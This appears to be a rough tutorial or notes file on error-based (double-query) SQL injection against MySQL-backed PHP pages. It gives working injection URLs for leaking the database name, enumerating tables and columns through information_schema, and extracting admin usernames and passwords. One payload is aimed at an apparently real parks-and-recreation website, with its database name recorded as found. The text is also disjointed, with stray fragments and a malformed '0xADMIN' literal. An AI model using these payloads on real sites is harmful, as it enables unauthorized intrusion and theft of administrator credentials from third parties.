solution
solution
50000SELECT*/
1,2,3,4,5,6,7-- -
1. get database
http://www.bransonparksandrecreation.com/page.php?id=12 and (select 1 from (select
count(*),concat((select(select concat(cast(database() as char),0x7e)) from
information_schema.tables where table_schema=database() limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -
bransonparks =db
parks
When we Execute our Union Based Query it doesn't Give us any Vulnerable Column
Number Printed on The Webpage or in HTML.
It Gives us A Error Message .
Sometimes The TARGET site not Give Any Vulnerable Column Number And Also Not Any
Kind of Error . Those Sites Are Also Error Based / Double Query SQL injection .
So We Processed Next With Error Based Queries.
http://www.target.com/index.php?id=1 or 1 group by
concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1-- -
Increase The Value Of Limit as LIMIT 0,1 to LIMIT 1,1 LIMIT 2,1 LIMIT 3,1
Until You Get Your Desired Table Name .
4th Step Is to Get The Column Names From Our Targeted Table Name.
Now We Have to Get The Column Names From The Table Name.
We Got Table Of Admin.
So Lets Get The Columns From Table Admin .
Here Is The Query For Getting Column Names From The Table Admin.
http://www.target.com/index.php?id=1 and (select 1 from (select
count(*),concat((select(select concat(cast(column_name as char),0x7e)) from
information_schema.columns where table_name=0xADMIN limit 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a)-- -
To Get The Columns From The Table Admin we Have to Encode It In HEX and Then We Can
Execute Our Query.
Here Is that PART in Our Query.
Table_name=ADMIN
Here Is The HEX Value of ADMIN=61646d696e
And Put it With 0x to Build Our Correct Query.
Table_name=0x61646d696e
Increase The Value Of LIMIT to LIMIT 0,1 LIMIT 1,1 LIMIT 2,1
until we Get The Column Name Like Username and Password.
And We Get The ADMIN username and Password printed on the Page.